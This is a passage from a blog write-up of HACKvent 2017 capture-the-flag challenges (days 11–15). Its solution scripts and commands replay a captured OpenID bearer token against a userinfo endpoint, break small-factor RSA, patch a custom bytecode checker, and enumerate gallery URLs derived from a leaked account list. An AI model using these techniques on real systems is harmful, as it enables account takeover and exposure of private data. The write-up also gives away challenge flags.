situation\n        next_move = 0\n    # Check for dangers\n    next_move = get_next_move(\"row1\", identify_danger(row1), next_move)\n    next_move = get_next_move(\"row2\", identify_danger(row2), next_move)\n    next_move = get_next_move(\"row3\", identify_danger(row3), next_move)\n    next_move = get_next_move(\"column1\", identify_danger(column1), next_move)\n    next_move = get_next_move(\"column2\", identify_danger(column2), next_move)\n    next_move = get_next_move(\"column3\", identify_danger(column3), next_move)\n    next_move = get_next_move(\"dia1\", identify_danger(dia1), next_move)\n    next_move = get_next_move(\"dia2\", identify_danger(dia2), next_move)\n    # Identify win situations\n    next_move = get_next_move(\"row1\", identify_win_situation(row1), next_move)\n    next_move = get_next_move(\"row2\", identify_win_situation(row2), next_move)\n    next_move = get_next_move(\"row3\", identify_win_situation(row3), next_move)\n    next_move = get_next_move(\"column1\", identify_win_situation(column1), next_move)\n    next_move = get_next_move(\"column2\", identify_win_situation(column2), next_move)\n    next_move = get_next_move(\"column3\", identify_win_situation(column3), next_move)\n    next_move = get_next_move(\"dia1\", identify_win_situation(dia1), next_move)\n    next_move = get_next_move(\"dia2\", identify_win_situation(dia2), next_move)\n    return next_move\ndef send_cmd(cmd):\n    try:\n        s.sendall(str(cmd) + \"\\n\")\n        r = s.recv(1024)\n        lines = r.splitlines()\n        print(len(lines))\n        # Error handling\n        if len(lines) != 33 and len(lines) != 23 and len(lines) != 13 and len(lines) != 24:\n            r += s.recv(1024)\n    except socket.error:\n        print(\"[!!] Socket error! Abort...\")\n        s.close()\n        sys.exit()\n    return r\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.settimeout(15)\ns.connect((host, port))\n# Start the game\nsend_cmd(\"\")\nmove = 0\nres = \"\"\nwhile True:\n    # Try to win\n    move = identify_next_move(res, move-1)\n    move += 1\n    print(\"- Next move: \" + str(move))\n    res = send_cmd(move)\n    res = get_game_status(res)\n    if \"100\/100\" in res[0]:\n        print(\"[!!] We have won\")\n        print(\"--&gt; \" + res[1])\n        break\n    if \"Congratulations\" in res or \"winner\" in res:\n        print(\"[+] \" + res)\n        print(\"-----------\\nNext round...\")\n        send_cmd(\"\")\n        move = 0\n        res = \"\"\n<\/pre>\n<p><strong>HV17-y0ue-kn0w-7h4t-g4me-sure<\/strong><\/p>\n<hr \/>\n<h1><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-full wp-image-523\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/hard_64.png\" alt=\"\" width=\"64\" height=\"64\">Day 11: Crypt-o-Math 2.0 (Author:&nbsp;HaRdLoCk)<\/h1>\n<p>&nbsp;<br \/>\n<strong><br \/>\nDescription<br \/>\n<\/strong>So you bruteforced last years math lessions? This time you cant escape!<\/p>\n<pre class=\"wrap:true lang:default decode:true \">c = (a * b) % p\nc=0x559C8077EE6C7990AF727955B744425D3CC2D4D7D0E46F015C8958B34783\np=0x9451A6D9C114898235148F1BC7AA32901DCAE445BC3C08BA6325968F92DB\nb=0xCDB5E946CB9913616FA257418590EBCACB76FD4840FA90DE0FA78F095873<\/pre>\n<p>find &#8220;a&#8221; to get your flag.<br \/>\n<strong>Solution<br \/>\n<\/strong>Uh, I had to read up some math theory to solve this!! This Stackoverflow link was a good help:&nbsp;<a href=\"https:\/\/stackoverflow.com\/questions\/16044553\/solving-a-modular-equation-python\">https:\/\/stackoverflow.com\/questions\/16044553\/solving-a-modular-equation-python<\/a><br \/>\nI did calculate the modulo inverse and then I had to solve the equation. I documented every step in the comments of the python script:<\/p>\n<pre class=\"wrap:true lang:python decode:true\">import gmpy2\n''' c = (a * b) % p '''\nc=0x559C8077EE6C7990AF727955B744425D3CC2D4D7D0E46F015C8958B34783\np=0x9451A6D9C114898235148F1BC7AA32901DCAE445BC3C08BA6325968F92DB\nb=0xCDB5E946CB9913616FA257418590EBCACB76FD4840FA90DE0FA78F095873\n'''\nhttps:\/\/stackoverflow.com\/questions\/16044553\/solving-a-modular-equation-python\nCalculate the inverse modulo\n1 = (b * inv) % p\nSolve equation:\nmultiply both sides by inverse modulo\nc * inv = (a * b * inv) % p\nc * inv = (a % p) (b * inv % p)\nc * inv = (a % p) (1)\nc * inv = a % p\nc * inv % p = a\n'''\ninv = gmpy2.invert(b,p)\na = c * inv % p\na = hex(a).lstrip(\"0x\")\nprint(str(a).decode(\"hex\"))<\/pre>\n<p><strong>HV17-zQBz-AwDg-1FEL-rUE9-GKgq<\/strong><\/p>\n<hr \/>\n<h1><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-full wp-image-523\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/hard_64.png\" alt=\"\" width=\"64\" height=\"64\">Day 12: giftlogistics (Author: inik)<\/h1>\n<p style=\"text-align: left;\"><em>countercomplete inmeasure<\/em><\/p>\n<p><strong><br \/>\nDescription<br \/>\n<\/strong>Most passwords of Santa GiftLogistics were stolen. You find an example of the traffic for Santa&#8217;s account with password and everything. The Elves CSIRT Team detected this and made sure that everyone changed their password.<br \/>\nUnfortunately this was an incomplete countermeasure. It&#8217;s still possible to retrieve the protected user profile data where you will find the flag.<\/p>\n<p style=\"text-align: center;\"><a href=\"http:\/\/challenges.hackvent.hacking-lab.com:7240\/giftlogistics\/\" target=\"_blank\" rel=\"noopener\">Link<\/a>&nbsp;<a href=\"https:\/\/sigterm.ch\/stuff\/hv17\/giftlogistics.pcapng\">traffic<\/a><\/p>\n<p><strong>Solution<br \/>\n<\/strong>Another nice challenge by inik.<br \/>\n&#8211; First I went through the unencrypted traffic in Wireshark<br \/>\n&#8211; I&#8217;ve found an OpenID configuration file, which looked suspicious. But I didn&#8217;t go more into detail there.<\/p>\n<pre class=\"wrap:true lang:default decode:true\">{\"request_parameter_supported\":true,\"claims_parameter_supported\":false,\"introspection_endpoint\":\"http:\/\/challenges.hackvent.hacking-lab.com:7240\/giftlogistics\/introspect\",\"scopes_supported\":[\"openid\",\"profile\",\"email\",\"address\",\"phone\",\"offline_access\"],\"issuer\":\"http:\/\/challenges.hackvent.hacking-lab.com:7240\/giftlogistics\/\",\"userinfo_encryption_enc_values_supported\":[\"A256CBC+HS512\",\"A256GCM\",\"A192GCM\",\"A128GCM\",\"A128CBC-HS256\",\"A192CBC-HS384\",\"A256CBC-HS512\",\"A128CBC+HS256\"],\"id_token_encryption_enc_values_supported\":[\"A256CBC+HS512\",\"A256GCM\",\"A192GCM\",\"A128GCM\",\"A128CBC-HS256\",\"A192CBC-HS384\",\"A256CBC-HS512\",\"A128CBC+HS256\"],\"authorization_endpoint\":\"http:\/\/challenges.hackvent.hacking-lab.com:7240\/giftlogistics\/authorize\",\"service_documentation\":\"http:\/\/challenges.hackvent.hacking-lab.com:7240\/giftlogistics\/about\",\"request_object_encryption_enc_values_supported\":[\"A256CBC+HS512\",\"A256GCM\",\"A192GCM\",\"A128GCM\",\"A128CBC-HS256\",\"A192CBC-HS384\",\"A256CBC-HS512\",\"A128CBC+HS256\"],\"userinfo_signing_alg_values_supported\":[\"HS256\",\"HS384\",\"HS512\",\"RS256\",\"RS384\",\"RS512\",\"ES256\",\"ES384\",\"ES512\",\"PS256\",\"PS384\",\"PS512\"],\"claims_supported\":[\"sub\",\"name\",\"preferred_username\",\"given_name\",\"family_name\",\"middle_name\",\"nickname\",\"profile\",\"picture\",\"website\",\"gender\",\"zoneinfo\",\"locale\",\"updated_at\",\"birthdate\",\"email\",\"email_verified\",\"phone_number\",\"phone_number_verified\",\"address\"],\"claim_types_supported\":[\"normal\"],\"op_policy_uri\":\"http:\/\/challenges.hackvent.hacking-lab.com:7240\/giftlogistics\/about\",\"token_endpoint_auth_methods_supported\":[\"client_secret_post\",\"client_secret_basic\",\"client_secret_jwt\",\"private_key_jwt\",\"none\"],\"token_endpoint\":\"http:\/\/challenges.hackvent.hacking-lab.com:7240\/giftlogistics\/token\",\"response_types_supported\":[\"code\",\"token\"],\"request_uri_parameter_supported\":false,\"userinfo_encryption_alg_values_supported\":[\"RSA-OAEP\",\"RSA-OAEP-256\",\"RSA1_5\"],\"grant_types_supported\":[\"authorization_code\",\"implicit\",\"urn:ietf:params:oauth:grant-type:jwt-bearer\",\"client_credentials\",\"urn:ietf:params:oauth:grant_type:redelegate\"],\"revocation_endpoint\":\"http:\/\/challenges.hackvent.hacking-lab.com:7240\/giftlogistics\/revoke\",\"userinfo_endpoint\":\"http:\/\/challenges.hackvent.hacking-lab.com:7240\/giftlogistics\/userinfo\",\"token_endpoint_auth_signing_alg_values_supported\":[\"HS256\",\"HS384\",\"HS512\",\"RS256\",\"RS384\",\"RS512\",\"ES256\",\"ES384\",\"ES512\",\"PS256\",\"PS384\",\"PS512\"],\"op_tos_uri\":\"http:\/\/challenges.hackvent.hacking-lab.com:7240\/giftlogistics\/about\",\"require_request_uri_registration\":false,\"id_token_encryption_alg_values_supported\":[\"RSA-OAEP\",\"RSA-OAEP-256\",\"RSA1_5\"],\"jwks_uri\":\"http:\/\/challenges.hackvent.hacking-lab.com:7240\/giftlogistics\/jwk\",\"subject_types_supported\":[\"public\",\"pairwise\"],\"id_token_signing_alg_values_supported\":[\"HS256\",\"HS384\",\"HS512\",\"RS256\",\"RS384\",\"RS512\",\"ES256\",\"ES384\",\"ES512\",\"PS256\",\"PS384\",\"PS512\",\"none\"],\"registration_endpoint\":\"http:\/\/challenges.hackvent.hacking-lab.com:7240\/giftlogistics\/register\",\"request_object_signing_alg_values_supported\":[\"HS256\",\"HS384\",\"HS512\",\"RS256\",\"RS384\",\"RS512\",\"ES256\",\"ES384\",\"ES512\",\"PS256\",\"PS384\",\"PS512\"],\"request_object_encryption_alg_values_supported\":[\"RSA-OAEP\",\"RSA-OAEP-256\",\"RSA1_5\"]}<\/pre>\n<p>&#8211; Going further through the traffic I&#8217;ve found a username and password, but the credentials didn&#8217;t work. As stated in the description, the CSIRT ensured everyone changed their password.<br \/>\n&#8211; I stayed on this path and found the OpenID login request and the access token which was returned.<\/p>\n<pre class=\"wrap:true lang:default decode:true \">HTTP\/1.1 302 Found\nServer: Apache-Coyote\/1.1\nX-Frame-Options: DENY\nPragma: no-cache\nExpires: Thu, 01 Jan 1970 00:00:00 GMT\nCache-Control: no-cache\nCache-Control: no-store\nLocation: http:\/\/transporter.hacking-lab.com\/client#access_token=eyJraWQiOiJyc2ExIiwiYWxnIjoiUlMyNTYifQ.eyJzdWIiOiJzYW50YSIsImF6cCI6ImE3NWI0NzIyLTE0MWQtNGMwMC1iNjVjLTVkYzI3OTE0NmI2MCIsImlzcyI6Imh0dHA6XC9cL2NoYWxsZW5nZXMuaGFja3ZlbnQuaGFja2luZy1sYWIuY29tOjcyNDBcL2dpZnRsb2dpc3RpY3NcLyIsImV4cCI6MTUyNjkzNjkzNiwiaWF0IjoxNTExMzg0OTM2LCJqdGkiOiI4MTlmNWYzZC1hN2M3LTQ0YTktYmI5Ni0wZmQ4MmY0YjdlNzUifQ.U9Hv66701DtUb8zeqOo45JVbzC3yhKJhsQ_q7N20rdLn5-uovYzMWjhxY8I9oPQkv3s5iDDsx1GIUbnOkC8l__oj_uqptG0BPbRfD2K1blKpbXQt3yxD1pB63aHw5LRAp10ia0MNe8_eo-qzi9d58CVYY_XOtTRH8Ic_tP5lpXVaImi8miYFY2XqR1TuFM-cUjIMUYT9Ik8rwZAEbLO_1UAWPuQUpi0_Z6N0r3hKoIRSlknmmg8A5PunL2I0qFyICUm0cqb4fieBZ34R4117LmyQY_XvzKogIaLegDIgbp22hTGHPAdziEloYYaP5uc_aEnfo0eNvY7QLPNy1dDs-Q&amp;token_type=Bearer&amp;state=e6ec344ec594&amp;expires_in=15551999&amp;id_token=eyJlbmMiOiJBMjU2R0NNIiwiYWxnIjoiUlNBMV81In0.AjFhnIaX-LLVpdJDMOvkK4MbTreuz3rdAwUfim8NsErrh238expG4O9tazr8gqZep9lCbHpieqiFRD8yRhF1-BA-EdmV9zO_Ilerrtfra1_AC5ozYV6wt1nK7cyzUm77mdpEzRZ9yhlMLrvk6FSh0lxlO6XwbJq6AL_KUsZza0kgsNVdUw3EsoAKYwZhVuzIgCLEQ1McRpEoCE9KESjKEgOgf0XoLZN-kqEARMujJH9OpCgIXIsR7ypew7Wp6W2cjWVkedjY2yaofOzedJyP7brZzX_zzPfCHey5dqW4TOlRaMlLaQ5sWIOcA2-HpsIJExoKXWRW0LIdJFS8VPKF4Q.WZtAImcXGL4EjUfw.1s2sKvRDX93EIL529djgN873OjnSXwdhB5FU5QKGt-8c0Qh-FijdssQ_6Mykgazydj8NyxCi0e5H1GogRCiv8ibchvwi4gXdQIeMXUIomHYyn2LuXS5lkARLqPzJIbv_j60NiEbdc1K9t8YuO_jnK1aajoNq2CIsgNRDxfIgbA7TZ8-GWU-Z1dItv2g7-3Ks9pwG2nUnmP0bqifYb9dae5bZe_oS5wBiHdQh43VQFPigY4G7r1dASpG3rnm_v6uqcET96dxN6AECwhW4SFQZKUoGlgv9JkG7HrUjoYbygmE1H3yrNBHQlRxnuWDxLWffsnpoGEVuZEBLyUxNA07t42NomgAdxWAlNvlrSd2veArpX2iEL_0K1u1oHe8_fkWfyWugqu39kuOeCGh2FULM0B-F8nzM6pQIN62uqwiJVJ0.0DDYtfSSe8eq10KFJ2agXw\nContent-Language: en\nContent-Length: 0\nDate: Wed, 22 Nov 2017 21:08:57 GMT<\/pre>\n<p>&#8211; I tried to use this token to access the website. It is a bearer token type, so I generated this GET Request:<\/p>\n<pre class=\"wrap:true lang:default decode:true \">GET \/giftlogistics\/ HTTP\/1.1\nHost: challenges.hackvent.hacking-lab.com:7240\nAuthorization: Bearer eyJraWQiOiJyc2ExIiwiYWxnIjoiUlMyNTYifQ.eyJzdWIiOiJzYW50YSIsImF6cCI6ImE3NWI0NzIyLTE0MWQtNGMwMC1iNjVjLTVkYzI3OTE0NmI2MCIsImlzcyI6Imh0dHA6XC9cL2NoYWxsZW5nZXMuaGFja3ZlbnQuaGFja2luZy1sYWIuY29tOjcyNDBcL2dpZnRsb2dpc3RpY3NcLyIsImV4cCI6MTUyNjkzNjkzNiwiaWF0IjoxNTExMzg0OTM2LCJqdGkiOiI4MTlmNWYzZC1hN2M3LTQ0YTktYmI5Ni0wZmQ4MmY0YjdlNzUifQ.U9Hv66701DtUb8zeqOo45JVbzC3yhKJhsQ_q7N20rdLn5-uovYzMWjhxY8I9oPQkv3s5iDDsx1GIUbnOkC8l__oj_uqptG0BPbRfD2K1blKpbXQt3yxD1pB63aHw5LRAp10ia0MNe8_eo-qzi9d58CVYY_XOtTRH8Ic_tP5lpXVaImi8miYFY2XqR1TuFM-cUjIMUYT9Ik8rwZAEbLO_1UAWPuQUpi0_Z6N0r3hKoIRSlknmmg8A5PunL2I0qFyICUm0cqb4fieBZ34R4117LmyQY_XvzKogIaLegDIgbp22hTGHPAdziEloYYaP5uc_aEnfo0eNvY7QLPNy1dDs-Q\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10.13; rv:56.0) Gecko\/20100101 Firefox\/56.0\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8\nAccept-Language: en-US,en;q=0.7,de;q=0.3\nAccept-Encoding: gzip, deflate\nConnection: close\nUpgrade-Insecure-Requests: 1\nCache-Control: max-age=0<\/pre>\n<p>&#8211; But the page still showed the login button and I didn&#8217;t get any more information.. I tried to submit the bearer token in different ways, but none worked. The Lifetime of the token is long enough though, it should still work..<br \/>\n&#8211; Then the OpenID configuration I&#8217;ve found in the beginning came back to my mind. And there were some API calls, like userinfo:<br \/>\nhttp:\/\/challenges.hackvent.hacking-lab.com:7240\/giftlogistics\/userinfo<br \/>\n&#8211; Calling this API endpoint revealed the flag<\/p>\n<pre class=\"wrap:true lang:sh decode:true\">$ curl -H 'Authorization: Bearer eyJraWQiOiJyc2ExIiwiYWxnIjoiUlMyNTYifQ.eyJzdWIiOiJzYW50YSIsImF6cCI6ImE3NWI0NzIyLTE0MWQtNGMwMC1iNjVjLTVkYzI3OTE0NmI2MCIsImlzcyI6Imh0dHA6XC9cL2NoYWxsZW5nZXMuaGFja3ZlbnQuaGFja2luZy1sYWIuY29tOjcyNDBcL2dpZnRsb2dpc3RpY3NcLyIsImV4cCI6MTUyNjkzNjkzNiwiaWF0IjoxNTExMzg0OTM2LCJqdGkiOiI4MTlmNWYzZC1hN2M3LTQ0YTktYmI5Ni0wZmQ4MmY0YjdlNzUifQ.U9Hv66701DtUb8zeqOo45JVbzC3yhKJhsQ_q7N20rdLn5-uovYzMWjhxY8I9oPQkv3s5iDDsx1GIUbnOkC8l__oj_uqptG0BPbRfD2K1blKpbXQt3yxD1pB63aHw5LRAp10ia0MNe8_eo-qzi9d58CVYY_XOtTRH8Ic_tP5lpXVaImi8miYFY2XqR1TuFM-cUjIMUYT9Ik8rwZAEbLO_1UAWPuQUpi0_Z6N0r3hKoIRSlknmmg8A5PunL2I0qFyICUm0cqb4fieBZ34R4117LmyQY_XvzKogIaLegDIgbp22hTGHPAdziEloYYaP5uc_aEnfo0eNvY7QLPNy1dDs-Q' http:\/\/challenges.hackvent.hacking-lab.com:7240\/giftlogistics\/userinfo\n{\"sub\":\"HV17-eUOF-mPJY-ruga-fUFq-EhOx\",\"name\":\"Reginald Thumblewood\",\"preferred_username\":\"santa\"}<\/pre>\n<p><strong>HV17-eUOF-mPJY-ruga-fUFq-EhOx<\/strong><\/p>\n<hr \/>\n<h1><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-full wp-image-523\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/hard_64.png\" alt=\"\" width=\"64\" height=\"64\">Day 13: muffin_asm (Author: muffinX)<\/h1>\n<p style=\"text-align: left;\"><em>As M. said, kind of a different architecture!<\/em><\/p>\n<p><strong><br \/>\nDescription<\/strong><br \/>\nohai \\o\/<br \/>\nHow about some custom asm to obsfucate the codez?<\/p>\n<p style=\"text-align: center;\"><a href=\"https:\/\/sigterm.ch\/stuff\/hv17\/muffin_asm.py\" target=\"_blank\" rel=\"noopener\">Download<\/a><\/p>\n<p><strong>Solution<br \/>\n<\/strong>After fiddling a bit and adding debug messages to the script I&#8217;ve found out how it works. The &#8220;_cmp&#8221; function compares the user input &#8220;chr(r[r1])&#8221; against the flag I am looking for. The only thing to do was to add a print function there and to always return true, then it printed the whole flag. To make it a bit easier to read I saved every character to a global var and printed it at once when I had the full flag.<\/p>\n<pre class=\"wrap:true lang:python decode:true \">#!\/usr\/bin\/env python\nimport sys, struct\nip, r, f = 0x00, [0x00]*4, [False]\nflag = \"\"\ndef _add(r1, r2): r[r1] = ((r[r1] + r[r2]) &amp; 0xFF)\ndef _addv(r1, v): r[r1] = ((r[r1] + v) &amp; 0xFF)\ndef _sub(r1, r2): r[r1] = ((r[r1] - r[r2]) &amp; 0xFF)\ndef _subv(r1, v): r[r1] = ((r[r1] - v) &amp; 0xFF)\ndef _xor(r1, r2): r[r1] = (r[r1] ^ r[r2])\ndef _xorv(r1, v): r[r1] = (r[r1] ^ v)\ndef _cmp(r1, r2): f[0] = (r[r1] == r[r2]); global flag; flag += chr(r[r2]); f[0] = True ##print(chr(r[r1]) + \" -- \"  + chr(r[r2]));\ndef _cmpv(r1, v): f[0] = (r[r1] == v)\ndef _je(o): global ip; ip = (o if f[0] else ip)\ndef _jne(o): global ip; ip = (o if not f[0] else ip)\ndef _wchr(r1): sys.stdout.write(chr(r[r1]))\ndef _rchr(r1): r[r1] = ord(sys.stdin.read(1))\nins = [_add, _addv, _sub, _subv, _xor, _xorv, _cmp, _cmpv, _je, _jne, _wchr, _rchr]\ndef run(codez):\n    global ip\n    while ip &lt; len(codez):\n        c_ins = ins[ord(codez[ip])]\n        if c_ins in [_je, _jne]:\n            old_ip = ip\n            c_ins(struct.unpack('&lt;I', codez[(ip+1):(ip+5)])[0])\n            if old_ip == ip: ip += 5\n            continue\n        num_of_args = c_ins.func_code.co_argcount\n        if num_of_args == 0: c_ins()\n        elif num_of_args == 1: c_ins(ord(codez[ip+1]))\n        else: c_ins(ord(codez[ip+1]), ord(codez[ip+2]))\n        ip += (1 + num_of_args)\nprint '[ muffin asm ]'\nprint 'muffinx: Did you ever codez asm?'\nrun('&lt;REMOVED_FOR_READABILITY&gt;')\nprint '[+] Here is the solution :&gt;\\n' + flag<\/pre>\n<pre class=\"wrap:true lang:sh decode:true\">$ python muffin_asm_mod.py\n[ muffin asm ]\nmuffinx: Did you ever codez asm?\n&lt;&lt; flag_getter v1.0 &gt;&gt;\nohai, gimmeh flag: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n[+] valid! by muffinx :D if you liked the challenge, troll me @ twitter.com\/muffiniks =D\n[+] Here is the solution :&gt;\nHV17-mUff!n-4sm-!s-cr4zY<\/pre>\n<p><strong>HV17-mUff!n-4sm-!s-cr4zY<\/strong><\/p>\n<hr \/>\n<h1><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-full wp-image-523\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/hard_64.png\" alt=\"\" width=\"64\" height=\"64\"><strong>Day 14: Happy Cryptmas (Author:&nbsp;HaRdLoCk)<\/strong><\/h1>\n<p>&nbsp;<br \/>\n<strong><br \/>\nDescription<\/strong><br \/>\nTodays gift was encrypted with the attached program. try to unbox your xmas present.<\/p>\n<blockquote><p>Flag:<br \/>\n7A9FDCA5BB061D0D638BE1442586F3488B536399BA05A14F<br \/>\nCAE3F0A2E5F268F2F3142D1956769497AE677A12E4D44EC72<br \/>\n7E255B391005B9ADCF53B4A74FFC34C<\/p><\/blockquote>\n<p style=\"text-align: center;\"><a href=\"https:\/\/sigterm.ch\/stuff\/hv17\/happy_cryptmas.zip\" target=\"_blank\" rel=\"noopener\">Download<\/a><\/p>\n<p><strong>Solution<br \/>\n<\/strong>To reverse engineer this binary is pretty easy. There is not much going on in the program and you can see that there is a call to the function &#8220;powmod&#8221; in the library &#8220;libgmp&#8221; .<br \/>\n<a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/re.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-735 size-large\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/re-1024x430.png\" alt=\"\" width=\"584\" height=\"245\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/re-1024x430.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/re-300x126.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/re-768x323.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/12\/re.png 1406w\" sizes=\"auto, (max-width: 584px) 100vw, 584px\" \/><\/a><br \/>\nSimplified:<\/p>\n<pre class=\"wrap:true lang:default decode:true\">a = 0xF66EB887F2B8A620FD03C7D0633791CB4804739CE7FE001C81E6E02783737CA21DB2A0D8AF2D10B200006D10737A0872C667AD142F90407132EFABF8E5D6BD51\nb = 65537\n__gmpz_powm(return, input, b, a);<\/pre>\n<p>This calculates &#8220;input * b % a&#8221;. I&#8217;ve spent way to much time on this and wanted to solve the equation myself (was in the math-mood after&nbsp;HaRdLoCks last challenges! \ud83d\ude42 )&#8230; Until I&#8217;ve figured out this is the RSA implementation!!<br \/>\nI started to fresh up my knowledge about the theory of RSA:<br \/>\n<a href=\"https:\/\/brilliant.org\/wiki\/rsa-encryption\/\">https:\/\/brilliant.org\/wiki\/rsa-encryption\/<\/a><br \/>\nEverything is pretty straight forward, only that I don&#8217;t have the private key?! And RSA is based on the principle, that you cannot factorize large numbers. Then I found this pretty little website: <a href=\"http:\/\/factordb.com\/\">http:\/\/factordb.com\/<\/a>. Somebody already did the factorization for us:<\/p>\n<pre class=\"wrap:true lang:default decode:true\">n = 0xF66EB887F2B8A620FD03C7D0633791CB4804739CE7FE001C81E6E02783737CA21DB2A0D8AF2D10B200006D10737A0872C667AD142F90407132EFABF8E5D6BD51\nq = 18132985757038135691<\/pre>\n<p>Now I was able to calculate all the missing variables<\/p>\n<pre class=\"wrap:true lang:default decode:true \">e = 65537\nn = 0xF66EB887F2B8A620FD03C7D0633791CB4804739CE7FE001C81E6E02783737CA21DB2A0D8AF2D10B200006D10737A0872C667AD142F90407132EFABF8E5D6BD51\nq = 18132985757038135691\np = 711781150511215724435363874088486910075853913118425049972912826148221297483065007967192431613422409694054064755658564243721555532535827\nn2 = (p-1)*(q-1) = 12906717464348092265244629060349066959825836365560827526746812703342315470079490199626403833118069465749256760657457871243234163897200332638336853174229940\nd = modinv(e, n2) = 11903318995073430164577503847683267546359967676384752694991086766489406467225300923841785563594951777603744100701253775023018437436479889304154234700349513<\/pre>\n<p>The function to decrypt is:<\/p>\n<pre class=\"wrap:true lang:default decode:true \">m^d % n\n0x7A9FDCA5BB061D0D638BE1442586F3488B536399BA05A14FCAE3F0A2E5F268F2F3142D1956769497AE677A12E4D44EC727E255B391005B9ADCF53B4A74FFC34C**d%n<\/pre>\n<p>The only problem here is, that python is very slow in solving this. Using the pow() function solved the problem.<\/p>\n<pre class=\"wrap:true lang:python decode:true\"># Encrypted message\nenc=0x7A9FDCA5BB061D0D638BE1442586F3488B536399BA05A14FCAE3F0A2E5F268F2F3142D1956769497AE677A12E4D44EC727E255B391005B9ADCF53B4A74FFC34C\n# Given variables from reversing the binary\ne = 65537\nn = 0xF66EB887F2B8A620FD03C7D0633791CB4804739CE7FE001C81E6E02783737CA21DB2A0D8AF2D10B200006D10737A0872C667AD142F90407132EFABF8E5D6BD51\n# q &amp; p\n# http:\/\/factordb.com\/\nq = 18132985757038135691\np = 711781150511215724435363874088486910075853913118425049972912826148221297483065007967192431613422409694054064755658564243721555532535827\ndef egcd(a, b):\n    if a == 0:\n        return (b, 0, 1)\n    else:\n        g, y, x = egcd(b % a, a)\n        return (g, x - (b \/\/ a) * y, y)\ndef modinv(a, m):\n    g, x, y = egcd(a, m)\n    if g != 1:\n        raise Exception('modular inverse does not exist')\n    else:\n        return x % m\ndef encrypt(e, n, message):\n    return pow(int(message.encode(\"hex\"), 16), e, n)\ndef decrypt(d, n, message):\n    res = pow(message, d, n)\n    return '{0:02x}'.format(res).decode(\"hex\")\n# Calculate missing variables\n# https:\/\/brilliant.org\/wiki\/rsa-encryption\/\nn2 = (p-1)*(q-1) #12906717464348092265244629060349066959825836365560827526746812703342315470079490199626403833118069465749256760657457871243234163897200332638336853174229940\nd = modinv(e, n2) #11903318995073430164577503847683267546359967676384752694991086766489406467225300923841785563594951777603744100701253775023018437436479889304154234700349513\n# Try run\nhv_en = encrypt(e, n, \"HV17\")\nhv_pl = decrypt(d, n, hv_en)\nprint(\"[+] Encrypted 'HV17': '\" + \"0x\" + str(format(hv_en,\"02x\")) + \"'\")\nprint(\"[+] Decrpyted '\" + \"0x\" + str(format(hv_en,\"02x\")) + \"': '\" + str(hv_pl) +\"'\")\n# Decrypt the actual flag\nprint(\"[+] Decrypt encrypted flag '\" + str(enc) +\"':\")\nflag = decrypt(d, n, enc)\nprint(\"--&gt; \" + flag)<\/pre>\n<p><strong>HV17-5BMu-mgD0-G7Su-EYsp-Mg0b<\/strong><\/p>\n<hr \/>\n<h1><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-full wp-image-523\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/hard_64.png\" alt=\"\" width=\"64\" height=\"64\">Day 15: Unsafe Gallery (Author: inik)<\/h1>\n<p style=\"text-align: left;\"><em>See pictures you shouldn&#8217;t see<\/em><\/p>\n<p><strong><br \/>\nDescription<\/strong><br \/>\nThe List of all Users of the Unsafe Gallery was leaked (See&nbsp;<a href=\"https:\/\/sigterm.ch\/stuff\/hv17\/accounts.csv.zip\" target=\"_blank\" rel=\"noopener\">account list<\/a>).<br \/>\nWith this list the URL to each gallery can be constructed. E.g. you find Danny&#8217;s gallery&nbsp;<a href=\"http:\/\/challenges.hackvent.hacking-lab.com:3958\/gallery\/bncqYuhdQVey9omKA6tAFi4rep1FDRtD4H8ftWiw\" target=\"_blank\" rel=\"noopener\">here<\/a>.<br \/>\nNow find the flag in Thumper&#8217;s gallery.<br \/>\n<strong>Solution<\/strong><br \/>\nI didn&#8217;t like this challenge, because it was depending too much on guessing. With the given example it was possible to focus on two Dannys in the CSV file. After a lot of trial &amp; error I managed to find the right combination.<br \/>\nThe email address field was hashed with SHA-256 and then Base64 encoded. All non alphanumeric characters were removed from the Base64 string, and the result of this was the URL.<br \/>\nHere is the python script to solve the challenge:<\/p>\n<pre class=\"wrap:true lang:python decode:true\">import csv\nimport base64\nimport hashlib\nimport re\nimport urllib\nurl_hash=\"bncqYuhdQVey9omKA6tAFi4rep1FDRtD4H8ftWiw\"\nLINK = \"http:\/\/challenges.hackvent.hacking-lab.com:3958\/gallery\/\"\naccounts = []\nwith open('accounts.csv', 'r') as f:\n  reader = csv.reader(f)\n  accounts = list(reader)\ndef compute_url(field):\n    regex = re.compile('[^a-zA-Z0-9]')\n    res = regex.sub(\"\", base64.b64encode(hashlib.sha256(field).digest()))\n    return res\ndef find_flag(url_hash):\n    li = LINK + url_hash\n    f = urllib.urlopen(li)\n    flag = f.read()\n    if not \"HV17-\" in flag:\n        return None\n    else:\n        i = flag.index(\"HV17\")\n        return flag[i:i+29]\ndef get_account_by_name(name):\n    res = []\n    for x in accounts:\n        if x[1] == name:\n            res.append(x)\n    return res\n# Find the right account &amp; Field\ndannys = get_account_by_name(\"Danny\")\nfor x in dannys:\n    for y in x:\n        url = compute_url(y)\n        if url == url_hash:\n            print(\"[+] URL for field '\" + y + \"' matches: \" + url)\n            print(\"Account: \" + str(x))\n            print(\"---------------------------\")\n            break\n# Find the right Thumper!\nthumpers = get_account_by_name(\"Thumper\")\nfor x in thumpers:\n  